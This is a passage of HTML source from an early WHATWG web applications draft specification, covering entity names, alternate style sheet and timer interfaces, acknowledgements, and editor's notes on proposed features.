<code title="">sect</code>     <td> U+00A7    <tr>     <td> <code title="">shy</code>     <td> U+00AD    <tr>     <td> <code title="">sigma</code>     <td> U+03C3    <tr>     <td> <code title="">sigmaf</code>     <td> U+03C2    <tr>     <td> <code title="">sim</code>     <td> U+223C    <tr>     <td> <code title="">spades</code>     <td> U+2660    <tr>     <td> <code title="">sub</code>     <td> U+2282    <tr>     <td> <code title="">sube</code>     <td> U+2286    <tr>     <td> <code title="">sum</code>     <td> U+2211    <tr>     <td> <code title="">sup</code>     <td> U+2283    <tr>     <td> <code title="">sup1</code>     <td> U+00B9    <tr>     <td> <code title="">sup2</code>     <td> U+00B2    <tr>     <td> <code title="">sup3</code>     <td> U+00B3    <tr>     <td> <code title="">supe</code>     <td> U+2287    <tr>     <td> <code title="">szlig</code>     <td> U+00DF    <tr>     <td> <code title="">tau</code>     <td> U+03C4    <tr>     <td> <code title="">there4</code>     <td> U+2234    <tr>     <td> <code title="">theta</code>     <td> U+03B8    <tr>     <td> <code title="">thetasym</code>     <td> U+03D1    <tr>     <td> <code title="">thinsp</code>     <td> U+2009    <tr>     <td> <code title="">thorn</code>     <td> U+00FE    <tr>     <td> <code title="">tilde</code>     <td> U+02DC    <tr>     <td> <code title="">times</code>     <td> U+00D7    <tr>     <td> <code title="">trade</code>     <td> U+2122    <tr>     <td> <code title="">uArr</code>     <td> U+21D1    <tr>     <td> <code title="">uacute</code>     <td> U+00FA    <tr>     <td> <code title="">uarr</code>     <td> U+2191    <tr>     <td> <code title="">ucirc</code>     <td> U+00FB    <tr>     <td> <code title="">ugrave</code>     <td> U+00F9    <tr>     <td> <code title="">uml</code>     <td> U+00A8    <tr>     <td> <code title="">upsih</code>     <td> U+03D2    <tr>     <td> <code title="">upsilon</code>     <td> U+03C5    <tr>     <td> <code title="">uuml</code>     <td> U+00FC    <tr>     <td> <code title="">weierp</code>     <td> U+2118    <tr>     <td> <code title="">xi</code>     <td> U+03BE    <tr>     <td> <code title="">yacute</code>     <td> U+00FD    <tr>     <td> <code title="">yen</code>     <td> U+00A5    <tr>     <td> <code title="">yuml</code>     <td> U+00FF    <tr>     <td> <code title="">zeta</code>     <td> U+03B6    <tr>     <td> <code title="">zwj</code>     <td> U+200D    <tr>     <td> <code title="">zwnj</code>     <td> U+200C  </table>  <h2 id=rendering><span class=secno>9. </span>Rendering</h2>  <p class=big-issue>This section will probably include details on how to   render DATAGRID, drag-and-drop, etc, in a visual medium, in concert with   CSS. Terms that need to be defined include: <dfn id=sizing>sizing of   embedded content</dfn>  <p>CSS UAs in visual media must, when scrolling a page to a fragment   identifier, align the top of the viewport with the target element's top   border edge.</p>  <!-- XXX horiz pos given bidi, and not  scrolling when not required to? -->  <!-- Elements that have been dropped: ACRONYM APPLET B BASEFONT BLINKBIG CENTER DIR DIV FONT FRAME FRAMESET I ISINDEX MARQUEE NOEMBEDNOFRAMES S SPACER STRIKE TT U -->  <!-- XXX bits and pieces that were removed from the semantic parts:  <p>In CSS-aware user agents, the default presentation of this  element should be achieved by including the following rules, or  their equivalent, in the UA's user agent style sheet:</p>  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);xh|section { display: block; margin: 1em 0; }</pre>  <h4>Section headers</h4>  <p>For <code>h1</code> elements, CSS-aware visual user agents should  derive the size of the header from the level of <code>section</code>  nesting. This effect should be achieved by including the following  rules, or their equivalent, in the UA's user agent style sheet:</p>  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);xh|section xh|h1 { /* same styles as h2 */ }xh|section xh|section xh|h1 { /* same styles as h4 */ }xh|section xh|section xh|section xh|h1 { /* same styles as h4 */ }xh|section xh|section xh|section xh|section xh|h1 { /* same styles as h5 */ }xh|section xh|section xh|section xh|section xh|section xh|h1 { /* same styles as h6 */ }</pre>  <p>Authors should use <code>h1</code> elements to denote headers in  sections. Authors may instead use <code>h2</code> ...  <code>h6</code> elements, for backwards compatibility with user  agents that do not support <code>section</code> elements.</p>-->  <h3 id=rendering0><span class=secno>9.1. </span>Rendering and the DOM</h3>  <p class=big-issue>This section is wrong. mediaMode will end up on Window,   I think. All views implement Window.  <p>Any object implement the <code>AbstractView</code> interface must also   implement the <code><a   href="#mediamodeabstractview">MediaModeAbstractView</a></code> interface.  <pre   class=idl>interface <dfn id=mediamodeabstractview>MediaModeAbstractView</dfn> {  readonly attribute DOMString <a href="#mediamode">mediaMode</a>;};</pre>  <p>The <dfn id=mediamode><code>mediaMode</code></dfn> attribute on objects   implementing the <code><a   href="#mediamodeabstractview">MediaModeAbstractView</a></code> interface   must return the string that represents the canvas' current rendering mode   (<code>screen</code>, <code>print</code>, etc). This is a lowercase   string, as <a   href="http://www.w3.org/TR/CSS21/media.html#media-types">defined by the   CSS specification</a>. <a href="#refsCSS21">[CSS21]</a>  <p>Some user agents may support multiple media, in which case there will   exist multiple objects implementing the <code>AbstractView</code>   interface. Only the default view implements the <code>Window</code>   interface. The other views can be reached using the <code>view</code>   attribute of the <code>UIEvent</code> inteface, during event propagation.   There is no way currently to enumerate all the views.</p>  <!-- XXX examples! -->  <h2 id=no><span class=secno>10. </span>Things that you can't do with this   specification because they are better handled using other technologies   that are further described herein</h2>  <p><em>This section is non-normative.</em>  <p>There are certain features that are not handled by this specification   because a client side markup language is not the right level for them, or   because the features exist in other languages that can be integrated into   this one. This section covers some of the more common requests.  <h3 id=localisation><span class=secno>10.1. </span>Localisation</h3>  <p>If you wish to create localised versions of an HTML application, the   best solution is to preprocess the files on the server, and then use HTTP   content negotation to serve the appropriate language.</p>  <!-- <p>XXX example here</p> -->  <h3 id=declarative><span class=secno>10.2. </span>Declarative 2D vector   graphics and animation</h3>  <p>Embedding vector graphics into XHTML documents is the domain of SVG.</p>  <!-- <p>XXX example here</p> -->  <h3 id=declarative0><span class=secno>10.3. </span>Declarative 3D scenes</h3>  <p>Embedding 3D imagery into XHTML documents is the domain of X3D, or   technologies based on X3D that are namespace-aware.</p>  <!-- <p>XXX example here</p> -->  <h3 id=alternate-style-sheets><span class=secno>10.4. </span>Alternate   style sheets: the <code><a href="#documentstyle">DocumentStyle</a></code>   interface</h3>  <p>This section describes an extension to the <code><a   href="#documentstyle">DocumentStyle</a></code> interface introduced in   DOM2 Style. <a href="#refsDOM2STYLE">[DOM2STYLE]</a>  <p>It is expected that this section will be moved to a W3C CSS working   group or WebAPI working group specification in the next few months.  <pre   class=idl>// Introduced in DOM Level 2: <a href="#refsDOM2STYLE">[DOM2STYLE]</a>interface <dfn id=documentstyle>DocumentStyle</dfn> {  readonly attribute StyleSheetList <span>styleSheets</span>;  // New in this specification:           attribute DOMString <a href="#selectedstylesheetset">selectedStyleSheetSet</a>;  readonly attribute DOMString <a href="#laststylesheetset">lastStyleSheetSet</a>;  readonly attribute DOMString <a href="#preferredstylesheetset">preferredStyleSheetSet</a>;  readonly attribute DOMStringList <a href="#stylesheetsets">styleSheetSets</a>;  void <a href="#enablestylesheetsforset">enableStyleSheetsForSet</a>(in DOMString name);};</pre>  <p>Any object implementing the <code><a   href="#htmldocument">HTMLDocument</a></code> interface must also implement   the <code><a href="#documentstyle">DocumentStyle</a></code> interface.  <p>For this interface, the <code>DOMString</code> values "null" and "the   empty string" are distinct, and must not be considered equivalent.  <p>A style sheet is said to <dfn id=have-a>have a title</dfn> if the   <code><a href="#title3">title</a></code> attribute or pseudo-attribute of   the DOM node that introduced the style sheet is present and has a   non-empty value (i.e. if the <code><a href="#title3">title</a></code>   attribute of the <code>StyleSheet</code> object returned by the   <code>sheet</code> attribute of the <code>LinkStyle</code> interface of   that DOM node is neither null nor the empty string).  <p>The new members are defined as follows:  <dl>   <dt><dfn id=selectedstylesheetset><code>selectedStyleSheetSet</code></dfn>    of type <code>DOMString</code>   <dd>    <p>This attribute indicates which style sheet set (<a     href="#refsHTML4">[HTML4]</a>) is in use. This attribute is <a     href="#live">live</a>; changing the disabled attribute on style sheets     directly will change the value of this attribute.</p>    <p>If all the sheets that are enabled and <a href="#have-a">have a     title</a> have the <em>same</em> title (by     <span>case-sensitive</span><!--XXX xref --> comparisons) then the value     of this attribute must be exactly equal to the title of the first     enabled style sheet with a title in the <code>styleSheets</code> list.     Otherwise, if style sheets from different sets are enabled, then the     return value must be null (there is no way to determine what the     currently selected style sheet set is in those conditions). Otherwise,     either all style sheets that <a href="#have-a">have a title</a> are     disabled, or there are no alternate style sheets, and <code><a     href="#selectedstylesheetset">selectedStyleSheetSet</a></code> must     return the empty string.</p>    <p>Setting this attribute to the null value must have no effect.</p>    <p>Setting this attribute to a non-null value must call <code><a     href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>     with that value as the function's argument, and set <code><a     href="#laststylesheetset">lastStyleSheetSet</a></code> to that value.</p>    <p>From the DOM's perspective, all views have the same <code><a     href="#selectedstylesheetset">selectedStyleSheetSet</a></code>. If a UA     supports multiple views with different selected alternate style sheets,     then this attribute (and the <code>StyleSheet</code> interface's     <code>disabled</code> attribute) must return and set the value for the     default view.</p>   <dt><dfn id=laststylesheetset><code>lastStyleSheetSet</code></dfn> of type    <code>DOMString</code>, readonly   <dd>    <p>This property must initially have the value null. Its value changes     when the <code><a     href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute     is set.</p>   <dt><dfn    id=preferredstylesheetset><code>preferredStyleSheetSet</code></dfn> of    type <code>DOMString</code>, readonly   <dd>    <p>This attribute must return the preferred style sheet set as set by the     author. It is determined from the order of style sheet declarations and     the <code>Default-Style</code> HTTP headers, as eventually defined     elsewhere in this specification<!-- XXX xref -->. If there is no     preferred style sheet set, this attribute must return the empty string.     The case of this attribute must exactly match the case given by the     author where the preferred style sheet is specified or implied. This     attribute must never return null.</p>   <dt><dfn id=stylesheetsets><code>styleSheetSets</code></dfn> of type    <code>DOMStringList</code>, readonly   <dd>    <p>This must return the <a href="#live">live</a> list of the currently     available style sheet sets. This list is constructed by enumerating all     the style sheets for this document available to the implementation, in     the order they are listed in the <code>styleSheets</code> attribute,     adding the title of each style sheet with a title to the list, avoiding     duplicates by dropping titles that match     (<span>case-sensitively</span><!-- XXX xref -->) titles that have     already been added to the list.</p>   <dt><dfn id=enablestylesheetsforset    title="enableStyleSheetsForSet()"><code>enableStyleSheetsForSet(<var    title="">name</var>)</code></dfn>, method   <dd>    <p>Calling this method must change the <code>disabled</code> attribute on     each <code>StyleSheet</code> object with a title attribute with a length     greater than 0 in the <code>styleSheets</code> attribute, so that all     those whose title matches the <var title="">name</var> argument are     enabled, and all others are disabled. Title matches must be     <span>case-sensitive</span><!-- XXX xref -->. Calling this method with     the empty string disables all alternate and preferred style sheets (but     does not change the state of persistent style sheets, that is those with     no title attribute).</p>    <p>Calling this method with a null value must have no effect.</p>    <p>Style sheets that do not <a href="#have-a">have a title</a> are never     affected by this method. This method does not change the values of the     <code><a href="#laststylesheetset">lastStyleSheetSet</a></code> or     <code><a     href="#preferredstylesheetset">preferredStyleSheetSet</a></code>     attributes.</p>  </dl>  <h4 id=dynamically><span class=secno>10.4.1. </span>Dynamically adding new   style sheets</h4>  <p>If new style sheets with titles are added to the document, the UA must   decide whether or not the style sheets should be initially enabled or not.   How this happens depends on the exact state of the document at the time   the style sheet is added, as follows.  <h5 id=adding><span class=secno>10.4.1.1. </span>Adding style sheets</h5>  <p>First, if the style sheet is a preferred style sheet (it has a title,   but is not marked as alternate), and there is no current preferred style   sheet (the <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> attribute   is equal to the empty string) then the <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> attribute   is set to the exact value of this style sheet's title. (This changes the   preferred style sheet set, which causes further changes AMPERSANDmdash; see   below.)  <p>Then, for all sheets, if any of the following is true, then the style   sheet must be enabled:  <ul>   <li> The style sheet has an empty title.   <li> The <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>    is null, and the style sheet's title matches (by    <span>case-sensitive</span><!-- XXX     xref --> match) the value of the    <code><a href="#preferredstylesheetset">preferredStyleSheetSet</a></code>    attribute.   <li> The style sheet's title matches (by    <span>case-sensitive</span><!-- XXX xref --> match) the value of the    <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>    attribute.  </ul>  <p>Otherwise, the style sheet must be disabled.  <h5 id=changing><span class=secno>10.4.1.2. </span>Changing the preferred   style sheet set</h5>  <p>The first time the preferred style sheet set is set, which is either   before any alternate style sheets are seen (e.g. using a "Default-Style"   HTTP header), or is the first time a titled, non-alternate style sheet is   seen (in the absence of information to the contrary, the first titled   non-alternate sheet sets the name of the preferred set), the <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code>   attribute's value must be set to the name of that preferred style sheet   set. This does not change the <code><a   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute.  <p>If the UA has the preferred style sheet set changed, for example if it   receives a "Default-Style:" HTTP header after it receives HTTP "Link:"   headers implying another preferred style sheet, then the <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code>   attribute's value must be changed appropriately, and, if the <code><a   href="#laststylesheetset">lastStyleSheetSet</a></code> is null, the   <code><a   href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>   method must be called with the new <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> value.   (The <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>   attribute is, again, not changed.)  <h5 id=examples><span class=secno>10.4.1.3. </span> Examples</h5>  <div class=example>   <p>Thus, in the following HTML snippet:</p>   <pre>AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="a"AMPERSANDgt;AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="b"AMPERSANDgt;AMPERSANDlt;scriptAMPERSANDgt;  document.selectedStyleSheetSet = 'foo';  document.styleSheets[1].disabled = false;AMPERSANDlt;/scriptAMPERSANDgt;AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="c"AMPERSANDgt;AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="d"AMPERSANDgt;</pre>   <p>...the style sheets that end up enabled are style sheets "a", "b", and    "c", the <code><a    href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute    would return null, <code><a    href="#laststylesheetset">lastStyleSheetSet</a></code> would return    "foo", and <code><a    href="#preferredstylesheetset">preferredStyleSheetSet</a></code> would    return "".</p>   <p> Similarly, in the following HTML snippet:</p>   <pre>AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="a"AMPERSANDgt;AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="b"AMPERSANDgt;AMPERSANDlt;scriptAMPERSANDgt;  var before = document.preferredStyleSheetSet;  document.styleSheets[1].disabled = false;AMPERSANDlt;/scriptAMPERSANDgt;AMPERSANDlt;link rel="stylesheet" title="foo" href="c"AMPERSANDgt;AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="d"AMPERSANDgt;AMPERSANDlt;scriptAMPERSANDgt;  var after = document.preferredStyleSheetSet;AMPERSANDlt;/scriptAMPERSANDgt;</pre>   <p>...the "before" variable will be equal to the empty string, the "after"    variable will be equal to "foo", and style sheets "a" and "c" will be    enabled. This is the case even though the first script block sets style    sheet "b" to be enabled, because upon parsing the following    <code>AMPERSANDlt;linkAMPERSANDgt;</code> element, the <code><a    href="#preferredstylesheetset">preferredStyleSheetSet</a></code> is set    and the <code><a    href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>    method is called (since <code><a    href="#selectedstylesheetset">selectedStyleSheetSet</a></code> was never    set explicitly, leaving <code><a    href="#laststylesheetset">lastStyleSheetSet</a></code> at null    throughout), which changes which style sheets are enabled and which are    not.</p>  </div>  <h4 id=interaction0><span class=secno>10.4.2. </span>Interaction with the   User Interface</h4>  <p>The user interface of Web browsers that support style sheets should list   the style sheet titles given in the <code><a   href="#stylesheetsets">styleSheetSets</a></code> list, showing the   <code><a href="#selectedstylesheetset">selectedStyleSheetSet</a></code> as   the selected style sheet set, leaving none selected if it is null or the   empty string, and selecting an extra option "Basic Page Style" (or   similar) if it is the empty string and the <code><a   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> is the   empty string as well.  <p>Selecting a style sheet from this list should set the <code><a   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute.   This (by definition) affects the <code><a   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute.  <h5 id=persisting><span class=secno>10.4.2.1. </span>Persisting the   selected style sheet set</h5>  <p>If UAs persist the selected style sheet set, they should use the value   of the <code><a   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute,   or if that is null, the <code><a   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute, when   leaving the page (or at some other time) to determine the set name to   store. If that is null then the style sheet set should not be persisted.  <p>When re-setting the style sheet set to the persisted value (which can   happen at any time, typically at the first time the style sheets are   needed for styling the document, after the <code>AMPERSANDlt;headAMPERSANDgt;</code> of   the document has been parsed, after any scripts that are not dependent on   computed style have executed), the style sheet set should be set by   setting the <code><a   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute   as if the user had selected the set manually.  <p class=note>This specification does not give any suggestions on how UAs   should decide to persist the style sheet set or whether or how to persist   the selected set across pages.  <h4 id=future><span class=secno>10.4.3. </span>Future compatibility</h4>  <p>Future versions of CSS may introduce ways of having alternate style   sheets declared at levels lower than the top level, i.e. embedded within   other style sheets. Implementations of this specification that also   support this proposed declaration of alternate style sheets are expected   to perform depth-first traversals of the <code>styleSheets</code> list,   not simply enumerations of the <code>styleSheets</code> list that only   contains the top level.  <h3 id=timers><span class=secno>10.5. </span>Timers</h3>  <p>This section is expected to be moved to the Window Object specification   in due course.  <pre class=idl>interface <dfn id=windowtimers>WindowTimers</dfn> {  // timers  long <a href="#settimeout">setTimeout</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout);  long <a href="#settimeout">setTimeout</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout, <var title="">arguments...</var>);  long <a href="#settimeout">setTimeout</a>(in DOMString code, in long timeout);  long <a href="#settimeout">setTimeout</a>(in DOMString code, in long timeout, in DOMString language);  void <a href="#cleartimeout">clearTimeout</a>(in long handle);  long <a href="#setinterval...">setInterval</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout);  long <a href="#setinterval...">setInterval</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout, <var title="">arguments...</var>);  long <a href="#setinterval...">setInterval</a>(in DOMString code, in long timeout);  long <a href="#setinterval...">setInterval</a>(in DOMString code, in long timeout, in DOMString language);  void <a href="#clearinterval">clearInterval</a>(in long handle);};interface <dfn id=timeouthandler>TimeoutHandler</dfn> {  void handleEvent(<var title="">arguments...</var>);};</pre>  <p>The <code><a href="#windowtimers">WindowTimers</a></code> interface must   be obtainable from any <code>Window</code> object using binding-specific   casting methods.  <p>The <code><a href="#settimeout">setTimeout</a></code> and <code><a   href="#setinterval...">setInterval</a></code> methods allow authors to   schedule timer-based events.  <p>The <dfn id=settimeout title=setTimeout><code>setTimeout(<var   title="">handler</var>, <var title="">timeout</var>[, <var   title="">arguments...</var>])</code></dfn> method takes a reference to a   <code><a href="#timeouthandler">TimeoutHandler</a></code> object and a   length of time in milliseconds. It must return a handle to the timeout   created, and then asynchronously wait <var title="">timeout</var>   milliseconds and then invoke <code>handleEvent()</code> on the <var   title="">handler</var> object. If any <var title="">arguments...</var>   were provided, they must be passed to the <var title="">handler</var> as   arguments to the <code>handleEvent()</code> function.  <p>In the ECMAScript DOM binding, the ECMAScript native   <code>Function</code> type must implement the <code><a   href="#timeouthandler">TimeoutHandler</a></code> interface such that   invoking the <code>handleEvent()</code> method of that interface on the   object from another language binding invokes the function itself, with the   arguments passed to <code>handleEvent()</code> as the arguments passed to   the function. In the ECMAScript DOM binding itself, however, the   <code>handleEvent()</code> method of the interface is not directly   accessible on <code>Function</code> objects. Such functions must be called   in the global scope.  <p>Alternatively, <dfn id=settimeout0 title=""><code>setTimeout(<var   title="">code</var>, <var title="">timeout</var>[, <var   title="">language</var>])</code></dfn> may be used. This variant takes a   string instead of a <code><a   href="#timeouthandler">TimeoutHandler</a></code> object. That string must   be parsed using the specified <var title="">language</var> (defaulting to   ECMAScript if the third argument is omitted) and executed in the global   scope.  <p class=big-issue>Need to define <var title="">language</var> values.  <p>The <dfn id=setinterval...><code>setInterval(...)</code></dfn> variants   must work in the same way as the <code><a   href="#settimeout">setTimeout</a></code> variants except that the <var   title="">handler</var> or <code><a href="#code0">code</a></code> must be   invoked again every <var title="">timeout</var> milliseconds, not just the   once.  <p>The <dfn id=cleartimeout><code>clearTimeout()</code></dfn> and <dfn   id=clearinterval><code>clearInterval()</code></dfn> methods take one   integer (the value returned by <code><a   href="#settimeout">setTimeout</a></code> and <code><a   href="#setinterval...">setInterval</a></code> respectively) and must   cancel the specified timeout. When called with a value that does not   correspond to an active timeout or interval, the methods must return   without doing anything.  <p>Timeouts must never fire while another script is executing. (Thus the   HTML scripting model is strictly single-threaded and not reentrant.)  <h2 class=no-num id=references>References</h2>  <p class=big-issue>This section will be written in a future   draft.<!--XXX-->  <h2 class=no-num id=acknowledgements>Acknowledgements</h2>  <p>Thanks to Aankhen, Aaron Leventhal, Alexey Feldgendler, Anne van   Kesteren, Anthony Hickson, AsbjAMPERSANDoslash;rn Ulsberg, Ben Godfrey, Ben   Meadowcroft, Benjamin Hawkes-Lewis, Bjoern Hoehrmann, Boris Zbarsky, Brad   Fults, Brad Neuberg, Brendan Eich, Brett Wilson, Channy Yun, Charl van   Niekerk<!--status.whatwg.org maintainer-->, Christian Biesinger, Christian   Johansen, Chriswa, Daniel Peng, Darin Fisher, Dave   Townsend<!-- Mossop on moz irc -->, David Baron, David Flanagan, David   Hyatt, Derek Featherstone, Dimitri Glazkov, dolphinling, Doron Rosenberg,   Eira Monstad, Elliotte Harold, Erik Arvidsson, fantasai, Franck 'Shift'   QuAMPERSANDeacute;lain, HAMPERSANDaring;kon Wium Lie, Henri Sivonen, Henrik Lied, Ignacio   Javier, J. King, James Graham, James M Snell, James Perrett, Jan-Klaas   Kollhof, Jasper Bryant-Greene, Jens Bannmann, Joel Spolsky, Johnny   Stenback, Jon Perlow, Jonathan Worent, Jukka K. Korpela, Kai Hendry,   Kornel Lesinski, Lachlan Hunt, Larry Page, Laurens Holst, Lenny Domnitser,   LAMPERSANDeacute;onard Bouchet, Leons Petrazickis, Logan<!-- on moz irc -->,   Maciej Stachowiak, Malcolm Rowe, Mark Nottingham, Mark Schenk, Martijn   Wargers, Martin Honnen, Matthew Mastracci, Matthew Raymond, Matthew   Thomas, Mattias Waldau, Max Romantschuk, Michael 'Ratt' Iannarelli,   Michael A. Nachbaur, Michael Gratton, Michel Fortin, Mihai   AMPERSAND#x015E;ucan<!-- from ROBO Design -->, Mike Schinkel, Mike Shaver, Mikko   Rantalainen, Neil Deakin, Olav Junker KjAMPERSANDaelig;r, Rimantas Liubertas,   Robert O'Callahan, Robert Sayre, Roman Ivanov, S. Mike Dierken, Sam Ruby,   Shadow2531, Shaun Inman, Simon Pieters, Stephen Ma, Steve Runyon, Steven   Garrity, Stewart Brodie, Stuart Parmenter, Tantek AMPERSANDCcedil;elik, Thomas   Broyer, Thomas O'Connor, Tim Altman, Vladimir VukiAMPERSAND#x0107;eviAMPERSAND#x0107;,   William Swanson, and everyone on the WHATWG mailing list for their useful   and substantial comments.  <p>Special thanks to Richard Williamson for creating the first   implementation of <code><a href="#canvas">canvas</a></code> in Safari,   from which the canvas feature was designed.  <p>Special thanks also to the Microsoft employees who first implemented the   event-based drag-and-drop mechanism, <code title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code>, and other features   first widely deployed by the Windows Internet Explorer browser.  <p>Special thanks and $10,000 to David Hyatt who came up with a broken   implementation of the <a href="#adoptionAgency">adoption agency   algorithm</a> that the editor had to reverse engineer and fix before using   it in the parsing section.  <p>Thanks also the Microsoft blogging community for some ideas, to the   attendees of the W3C Workshop on Web Applications and Compound Documents   for inspiration, and to the #mrt crew, the #mrt.no crew, and the cabal for   their ideas and support.</p>  <!-- Hopefully Kam won't notice he's covered by these  acknowledgements three times! -->  <!-- !  menus<hyatt> the ability to get the current focused window in a window hierarchywizardstabbed interfaceApplication object? http://longhorn.msdn.microsoft.com/lhsdk/ref/ns/msavalon.windows/c/application/application.aspx<input type="text" menu="foo" icon="g.png"/> <menu id="foo"> <menuitem icon="g.png" onclick="engine('google')">Google</menuitem> ... </menu>> One more aspect I want you think about - for "user interface systems" in> general: The windowing system.>   Different kinds of windows ("document", "browser (file-system/network or> otherwise)", "palette", "application modal dialog", "system modal dialog"),> the rules for layering them (appropriately flexible to allow different> implementations, e.g. MacOS vs. X-Windows), and simplifications for handheld> devices (which are sometimes single window devices anyway, but sometimes> they are one "normal" window plus sometimes one "dialog" window on top.window.open for dialogsThus, they lack things like proper windows, tree widgets, menu bars, rich text areas and so forth. This is what I would like XUL to solve. - Paul PrescodOlav:> <product> to indicate something you can buy, like a cd on amazon> or a biker jacket at harleydavidson.comDrop downs often have a title for when there is no selection.http://www.w3.org/mid/BAY1-F150PNOkJvX41K000418e1@hotmail.comhttp://crew.tweakers.net/crisp/newlayout/index.htmlhttp://crew.tweakers.net/crisp/newlayout/list_topics.htmlhttp://crew.tweakers.net/crisp/newlayout/list_messages.htmlhttp://crew.tweakers.net/crisp/newlayout/list_messages_mod.htmlhttp://mail.mozilla.org/private/gui-toolkit/2004-April/000041.html> > > A standard for rich edit widgets would also be of interest to me.> >> > As in WYSIWIG editing? Of the bold/italic/underline/larger/smaller kind?> > > > Or do you mean as in the bare bones to be able to build an editor on top> > of? As in something that basically just gives you a cursor and the ability> > to tell where the selection is and some way to hook into the Undo> > functionality?> > I have use cases for both...I have a more desperate business need for> the latter (and have build apps using the gross APIs out there today)> but there are a lot of circumstances where an editor that already has> all standard HTML editing behaviour would be fine.>- Paul Prescod * a way of selecting rows, so that you can declaratively have buttons   outside the template that move a "selected row" around. => web appsCalendar with list of days that have events (think: blog calendars)Find object at (x,y)Find mouse positionStyling scrollbars:   ::scrollbars { ... }table of contents?http://www.gadgetopia.com/2004/05/04/FileIconTag.htmlon going backon going forwardon came from backon came from forwardbetter state serialisation for going back/forwardsome sort of markup to tell google _not_ to index a particular part of the sitedrop down menu with URIs to replace the silly <select> hacks.http://www.cs.tut.fi/~jkorpela/html/em.html<htmlarea>, <xmlarea>...> 3) Extensible syntax highlighting (coloring). I am aware that a ton of> code editors don't even do this well. The ability to load a syntax> definition file and have it color a block of code would do wonders for> making the web a more friendly place to script. - Ryan Johnsontoolbars, status bars. - Didier PH Martin   * methods/properties for scrolling managing, especially in   TextArea, such as .scrollTop and .scrollHeight in Mozilla and -Robert Bateman:   I've looked thru as many of the examples from around the web as I can find and   don't see an obvious way to do date calculations.   What I'm trying to do is populate an xsd:date field with now() plus 5 days as   it's default value.  The field in question is a proposed "due date" for a   work order.   I've seen that I can get a "difference" between two dates, but no   calculations.Wladimir Palant pointed out problems with chunking with server-sent-events> 2.  Some method of integration to allow Web apps to respond>      to the browser's Cut, Copy, Paste, and Select All menu>      items and keyboard equivalents. These work automatically>      for text fields in any Web application; it would be>      great if apps could make them work for stocks, address>      book cards, message attachments, transactions, photos,>      and so on too.>>      I'd add Undo and Redo to that list, but unfortunately>      IE6 doesn't have Undo and Redo menu items. - mpt>> maybe except for the server sent events and the clipboard>> api (but even in those cases it might be possible).>> Clipboard API I don't really want to see, given the problems IE's> implementation of such brought up. A better standardised drag-and-drop> interface would be great though, as doing it with mouse events and IE's> proprietary events is annoying-to-impossible to get right all the time.>> I really like the idea of server-side events, though I would prefer to> have them set up by a scripting call rather than an HTML element. - Andrew Clover    <html application="application">...would, instead of showing the Web page itself, the first time, show(inline in the browser):  :::: Security Warning :::::::::::::::::::::::::::::::::::::  ::                                                       ::  ::  The Web page at this domain:                         ::  ::                                                       ':  ::     paypcl.com                                          ::                                                         ::  ...wishes to launch an application in a separate       ::  window. Do you trust this domain?                      ::                                                         ::  [x] Remember this decision.                            ::                                                         ::      (( Trust paypcl.com ))  ( Display as Web page )    ::                                                        :::::.- (spurred on by Jose Dinuncio)  :::: Security Warning :::::::::::::::::::::::::::::::::::::  ::                                                       ::  ::  This Web page wishes to launch an application in a   ::  ::  separate window. Do you trust this domain?           ::  ::                                                       ::  ::     paypcl.com                                         '  ::                                                         ::             ( Trust this site for now )  ::  ::              ( Always trust this site )  ::  ::              (( Display as Web page ))  ::                                                        :::::.breadcrumb navigation markupother markup:   http://www.stuffandnonsense.co.uk/archives/whats_in_a_name_pt2.htmlcommon icons: http://www.intersmash.com/300images/http://www.gadgetopia.com/2004/06/18/DoYouWantToSaveYourChanges.html#Commentshttp://www.mojavelinux.com/cooker/demos/domTT/index.htmlhttp://www.mozilla.org/projects/ui/accessibility/dynamic-accessibility.htmlhttp://blog.colorstudy.com/ianb/weblog/2004/06/23.htmlhttp://daringfireball.net/2004/06/location_fieldlistview/gridview APIhttp://www.activewidgets.com/grid/> I would rather have it that changing the dom attribute 'value' or typing> in the textarea, would also change the contents of the textnode in the> textarea.>> In that way the dom level 2 traversal and range specification would not> be useless for textarea's.> > The same goes for input text controls and probably also for other form> controls. - martijnw1. point to an xml instance and cause the page to be filled in2. serialise the site to a version of that xml instance<menu> <li state="bar"/></menu><button state="bar"/><state id="bar" label="" disabled="" value=""/><input state="foo"/><input state="foo"/><input state="foo 2"/><input state="foo 2"/><state id="foo" model="x" ref="cat:orderLine[$v1]/cat:foo"/><instance src=""/><instance id="x"><Order xmlns="urn:oasis:names:tc:ubl:Order:1.0:0.70" xmlns:cat="urn:oasis:names:tc:ubl:CommonAggregateTypes:1.0:0.70">  <cat:ID/>  <cat:IssueDate/>  <cat:LineExtensionTotalAmount currencyID="USD"/>  <cat:BuyerParty>    <cat:ID/>    <cat:PartyName>      <cat:Name/>    </cat:PartyName>  